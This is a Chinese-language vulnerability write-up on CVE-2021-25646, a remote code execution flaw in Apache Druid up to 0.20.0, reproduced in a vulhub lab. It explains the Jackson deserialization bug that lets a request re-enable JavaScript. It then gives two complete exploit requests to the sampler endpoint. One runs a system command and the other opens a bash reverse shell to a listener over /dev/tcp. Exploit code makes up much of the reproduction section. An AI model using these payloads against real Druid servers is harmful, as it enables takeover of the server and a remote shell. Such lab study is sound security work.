漏洞介绍

Apache Druid:Apache Druid是一个专为大数据集的快速切片分析(OLAP查询)而设计的实时分析数据库。Druid作为数据库,最常用于支持以下用例:实时摄取、快速查询和高运行时长。例如,Druid一般用于支持分析型应用程序的GUI,或是需要快速聚合的高并发API后台。Druid最适合用于面向事件的数据。
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

漏洞范围

Apache Druid < 0.20.1

漏洞靶场

使用vulhub的靶场

环境为Apache Druid 0.20.0

vulhub-master/Druid/CVE-2021-25646

1
启动靶场:docker-compose up -d

漏洞原理

1.HTTP Server端采用的是Jersey框架,所有的配置信息都由Guice框架在启动的时候进行绑定注入,比如利用的JavaScriptConfig,初始化的时候读取配置文件中的druid.javascript.enabled绑定到JavaScriptConfig的enabled field,这部分是非本地用户不可控的。

图片

src/main/java/org/apache/druid/guice/JavaScriptModule.java#L26-L33

src/main/java/org/apache/druid/initialization/Initialization.java#L408

2.解析用户输入的关键部分:

com.fasterxml.jackson.databind.deser.BeanDeserializer#_deserializeUsingPropertyBased在解析的过程中,会拿解析到的json串中的“键名”去查找当前解析对象中对应的creatorProperty,这步对应的是findCreatorProperty方法,findCreatorProperty方法会去_propertyLookup 这个HashMap中查找”键名”对应的属性,在_propertyLookup中可以看到其中没有用JsonProperty注释修饰的JavaScriptConfig的键为””,要是json串中的键也为””,就能匹配上,取出JavaScriptConfig对应的creatorProperty

图片

C:\Users\LENOVO.m2\repository\org\codehaus\jackson\jackson-mapper-asl\1.9.13\jackson-mapper-asl-1.9.13.jar!\org\codehaus\jackson\map\deser\BeanDeserializer.class#L548-L621(需用Maven下载依赖包)

拿到对应的creatorProperty之后就会将用户输入的json串中这个键对应的根据类型去反序列相应的参数

图片

C:\Users\LENOVO.m2\repository\org\codehaus\jackson\jackson-mapper-asl\1.9.13\jackson-mapper-asl-1.9.13.jar!\org\codehaus\jackson\map\deser\BeanDeserializer.class#L578, L581(需用Maven下载依赖包)

可以看到反序列后这里的值就是用户输入的enabled为true的JavaScriptConfig,之后就会将这个值和对对应的creatorProp绑定起来(最后会绑定到对应的参数上)

图片

src/main/java/org/apache/druid/query/filter/JavaScriptDimFilter.java#L67-L83

3.最后漏洞的利用点就是利用config为true之后绕过了对于config的检查

图片

src/main/java/org/apache/druid/query/filter/JavaScriptDimFilter.java#L158-L175

之后传入的function会被javascript rhino引擎执行,其中的js代码是支持调用java函数的,所以可以调用系统命令。

图片

src/main/java/org/apache/druid/query/filter/JavaScriptDimFilter.java#L325-L331

漏洞复现

poc

直接发送如下请求即可执行其中的JavaScript代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{

},
"dimensionsSpec":{

},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}

id命令成功执行

image-20241101195436801

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.159.132:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{

},
"dimensionsSpec":{

},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.159.132/4444 0>&1\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}

image-20241101202505800

poc脚本

yaunsky/cve-2021-25646: Apache Druid 远程代码执行;检测脚本 (github.com)

1
2
python cve-2021-25646.py -h http://192.168.159.132:8888
判断是否存在漏洞是使用dnslog日志判断的,根据个人dnslog地址,修改脚本第52行ping **.dnslog.

image-20241101222137047

image-20241101222023792

参考

阿里云安全获Apache官方致谢 |Apache Druid 远程代码执行漏洞预警(CVE-2021-25646) (qq.com)

CVE-2021-25646 Druid 代码执行 (juniper.net)